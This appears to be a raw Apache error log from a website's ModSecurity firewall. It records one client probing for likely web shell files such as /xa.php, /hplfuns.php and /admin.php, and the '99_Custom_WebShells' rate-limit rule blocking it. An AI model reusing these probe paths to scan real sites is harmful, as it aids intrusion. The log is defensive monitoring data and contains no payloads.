[Wed Apr 22 19:39:45.268722 2026] [:error] [pid 6344:tid 6351] [client 134.149.32.112:17001] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeizgUDOTF-pkQnDeUndYgAAAAI"]
[Wed Apr 22 19:39:47.200467 2026] [:error] [pid 9085:tid 9090] [client 134.149.32.112:39688] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeizg9-_-or9vQnlWno_3gAAAUM"]
[Wed Apr 22 19:39:48.806172 2026] [:error] [pid 9085:tid 9098] [client 134.149.32.112:26683] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeizhN-_-or9vQnlWno_4AAAAUs"]
[Wed Apr 22 19:39:50.372467 2026] [:error] [pid 6384:tid 6387] [client 134.149.32.112:26636] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeizhj58M3t15ICeWHUXAAAAAMA"]
[Wed Apr 22 19:39:51.100542 2026] [:error] [pid 6384:tid 6394] [client 134.149.32.112:25207] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeizhz58M3t15ICeWHUXBQAAAMc"]
[Wed Apr 22 19:39:52.034271 2026] [:error] [pid 6384:tid 6410] [client 134.149.32.112:16387] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeiziD58M3t15ICeWHUXCgAAANc"]
[Wed Apr 22 19:39:52.887540 2026] [:error] [pid 6384:tid 6411] [client 134.149.32.112:15881] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeiziD58M3t15ICeWHUXDQAAANg"]
[Wed Apr 22 19:39:53.900769 2026] [:error] [pid 6384:tid 6399] [client 134.149.32.112:20680] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeiziT58M3t15ICeWHUXDwAAAMw"]
[Wed Apr 22 19:39:55.274524 2026] [:error] [pid 9085:tid 9088] [client 134.149.32.112:20702] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeizi9-_-or9vQnlWno__gAAAUE"]
[Wed Apr 22 19:39:56.745100 2026] [:error] [pid 23776:tid 23798] [client 134.149.32.112:29519] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeizjLRExf-1pAbSeJvT0gAAAZQ"]
[Wed Apr 22 19:39:57.985431 2026] [:error] [pid 9085:tid 9094] [client 134.149.32.112:18184] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeizjd-_-or9vQnlWnpABgAAAUc"]
[Wed Apr 22 19:39:59.042569 2026] [:error] [pid 9085:tid 9098] [client 134.149.32.112:27989] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeizj9-_-or9vQnlWnpACgAAAUs"]
[Wed Apr 22 19:40:00.246216 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:28030] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeizkN-_-or9vQnlWnpAEAAAAU4"]
[Wed Apr 22 19:40:01.772809 2026] [:error] [pid 6344:tid 6355] [client 134.149.32.112:1408] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeizkUDOTF-pkQnDeUndegAAAAY"]
[Wed Apr 22 19:40:02.646144 2026] [:error] [pid 23776:tid 23793] [client 134.149.32.112:17931] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeizkrRExf-1pAbSeJvT1QAAAY8"]
[Wed Apr 22 19:40:03.912525 2026] [:error] [pid 6344:tid 6363] [client 134.149.32.112:35912] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeizk0DOTF-pkQnDeUndgQAAAA4"]
[Wed Apr 22 19:40:05.225173 2026] [:error] [pid 9085:tid 9110] [client 134.149.32.112:35917] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeizld-_-or9vQnlWnpAFgAAAVc"]
[Wed Apr 22 19:40:06.719553 2026] [:error] [pid 6250:tid 6258] [client 134.149.32.112:23430] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeizlg-iZeQkqmQVfj798gAAAEQ"]
[Wed Apr 22 19:40:07.543444 2026] [:error] [pid 6344:tid 6361] [client 134.149.32.112:17952] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeizl0DOTF-pkQnDeUndggAAAAw"]
[Wed Apr 22 19:40:08.734549 2026] [:error] [pid 9085:tid 9096] [client 134.149.32.112:20937] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeizmN-_-or9vQnlWnpAHQAAAUk"]
[Wed Apr 22 19:40:10.085210 2026] [:error] [pid 6250:tid 6276] [client 134.149.32.112:23433] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeizmg-iZeQkqmQVfj799QAAAFY"]
[Wed Apr 22 19:40:12.023166 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:35965] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeiznN-_-or9vQnlWnpAKQAAAU4"]
[Wed Apr 22 19:40:13.866060 2026] [:error] [pid 6384:tid 6407] [client 134.149.32.112:25690] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeiznT58M3t15ICeWHUXPwAAANQ"]
[Wed Apr 22 19:40:15.654403 2026] [:error] [pid 9085:tid 9099] [client 134.149.32.112:25686] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeizn9-_-or9vQnlWnpANgAAAUw"]
[Wed Apr 22 19:40:16.597510 2026] [:error] [pid 23776:tid 23799] [client 134.149.32.112:35952] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeizoLRExf-1pAbSeJvT4wAAAZU"]
[Wed Apr 22 19:40:17.644736 2026] [:error] [pid 9085:tid 9108] [client 134.149.32.112:22924] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeizod-_-or9vQnlWnpAPQAAAVU"]
[Wed Apr 22 19:40:18.627947 2026] [proxy_fcgi:error] [pid 6384:tid 6390] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:18.916648 2026] [proxy_fcgi:error] [pid 6384:tid 6395] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:19.204389 2026] [proxy_fcgi:error] [pid 6384:tid 6407] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:19.492534 2026] [proxy_fcgi:error] [pid 6384:tid 6393] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:19.802544 2026] [proxy_fcgi:error] [pid 6384:tid 6402] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:20.112008 2026] [proxy_fcgi:error] [pid 6384:tid 6406] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:20.401577 2026] [proxy_fcgi:error] [pid 6384:tid 6403] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:20.695996 2026] [proxy_fcgi:error] [pid 6384:tid 6392] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:20.982784 2026] [proxy_fcgi:error] [pid 6384:tid 6401] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:21.273899 2026] [proxy_fcgi:error] [pid 6384:tid 6397] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:21.569913 2026] [proxy_fcgi:error] [pid 6384:tid 6409] [client 134.149.32.112:26713] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:40:21.860881 2026] [:error] [pid 6384:tid 6389] [client 134.149.32.112:26713] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeizpT58M3t15ICeWHUXWwAAAMI"]
[Wed Apr 22 19:40:23.218231 2026] [:error] [pid 6344:tid 6350] [client 134.149.32.112:1277] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeizp0DOTF-pkQnDeUndiAAAAAE"]
[Wed Apr 22 19:40:24.315567 2026] [:error] [pid 23776:tid 23788] [client 134.149.32.112:20947] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeizqLRExf-1pAbSeJvT6wAAAYo"]
[Wed Apr 22 19:40:25.634376 2026] [:error] [pid 6384:tid 6401] [client 134.149.32.112:35426] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeizqT58M3t15ICeWHUXZwAAAM4"]
[Wed Apr 22 19:40:27.042951 2026] [:error] [pid 6384:tid 6389] [client 134.149.32.112:22249] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeizqz58M3t15ICeWHUXawAAAMI"]
[Wed Apr 22 19:40:28.716523 2026] [:error] [pid 6250:tid 6268] [client 134.149.32.112:1408] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeizrA-iZeQkqmQVfj7-AQAAAE4"]
[Wed Apr 22 19:40:30.158148 2026] [:error] [pid 6384:tid 6409] [client 134.149.32.112:22269] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeizrj58M3t15ICeWHUXcwAAANY"]
[Wed Apr 22 19:40:31.652150 2026] [:error] [pid 9085:tid 9087] [client 134.149.32.112:21944] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeizr9-_-or9vQnlWnpAVAAAAUA"]
[Wed Apr 22 19:40:33.260931 2026] [:error] [pid 6250:tid 6272] [client 134.149.32.112:19811] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeizsQ-iZeQkqmQVfj7-CAAAAFI"]
[Wed Apr 22 19:40:34.677985 2026] [:error] [pid 6384:tid 6387] [client 134.149.32.112:22945] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeizsj58M3t15ICeWHUXewAAAMA"]
[Wed Apr 22 19:40:36.203995 2026] [:error] [pid 6250:tid 6259] [client 134.149.32.112:35850] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeiztA-iZeQkqmQVfj7-DAAAAEU"]
[Wed Apr 22 19:40:37.328973 2026] [:error] [pid 6384:tid 6406] [client 134.149.32.112:21948] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeiztT58M3t15ICeWHUXfgAAANM"]
[Wed Apr 22 19:40:38.165169 2026] [:error] [pid 23776:tid 23790] [client 134.149.32.112:32988] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "aeiztrRExf-1pAbSeJvT-AAAAYw"]
[Wed Apr 22 19:40:39.417112 2026] [:error] [pid 23776:tid 23778] [client 134.149.32.112:35407] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "aeizt7RExf-1pAbSeJvT_QAAAYA"]
[Wed Apr 22 19:40:40.863181 2026] [:error] [pid 6250:tid 6277] [client 134.149.32.112:35394] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "aeizuA-iZeQkqmQVfj7-FQAAAFc"]
[Wed Apr 22 19:40:42.847937 2026] [:error] [pid 9085:tid 9097] [client 134.149.32.112:13943] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "aeizut-_-or9vQnlWnpAeAAAAUo"]
[Wed Apr 22 19:40:44.131029 2026] [:error] [pid 9085:tid 9104] [client 134.149.32.112:14171] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeizvN-_-or9vQnlWnpAfwAAAVE"]
[Wed Apr 22 19:40:46.922358 2026] [:error] [pid 6344:tid 6355] [client 134.149.32.112:14883] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeizvkDOTF-pkQnDeUndmAAAAAY"]
[Wed Apr 22 19:40:49.910176 2026] [:error] [pid 23776:tid 23785] [client 134.149.32.112:14895] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeizwbRExf-1pAbSeJvUCwAAAYc"]
[Wed Apr 22 19:40:53.549676 2026] [:error] [pid 23776:tid 23791] [client 134.149.32.112:16129] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeizxbRExf-1pAbSeJvUDQAAAY0"]
[Wed Apr 22 19:40:56.083936 2026] [:error] [pid 23776:tid 23789] [client 134.149.32.112:35446] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeizyLRExf-1pAbSeJvUFAAAAYs"]
[Wed Apr 22 19:40:59.445315 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:14882] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeizy9-_-or9vQnlWnpAjQAAAVM"]
[Wed Apr 22 19:41:01.926379 2026] [:error] [pid 6250:tid 6270] [client 134.149.32.112:1523] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeizzQ-iZeQkqmQVfj7-JAAAAFA"]
[Wed Apr 22 19:41:03.129123 2026] [:error] [pid 9085:tid 9098] [client 134.149.32.112:15682] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeizz9-_-or9vQnlWnpAkQAAAUs"]
[Wed Apr 22 19:41:05.409070 2026] [:error] [pid 6250:tid 6276] [client 134.149.32.112:23505] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeiz0Q-iZeQkqmQVfj7-LQAAAFY"]
[Wed Apr 22 19:41:08.394503 2026] [:error] [pid 23776:tid 23786] [client 134.149.32.112:15477] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeiz1LRExf-1pAbSeJvUIQAAAYg"]
[Wed Apr 22 19:41:10.582146 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:31763] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeiz1t-_-or9vQnlWnpAmQAAAVM"]
[Wed Apr 22 19:41:13.380777 2026] [:error] [pid 23776:tid 23784] [client 134.149.32.112:21142] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeiz2bRExf-1pAbSeJvULAAAAYY"]
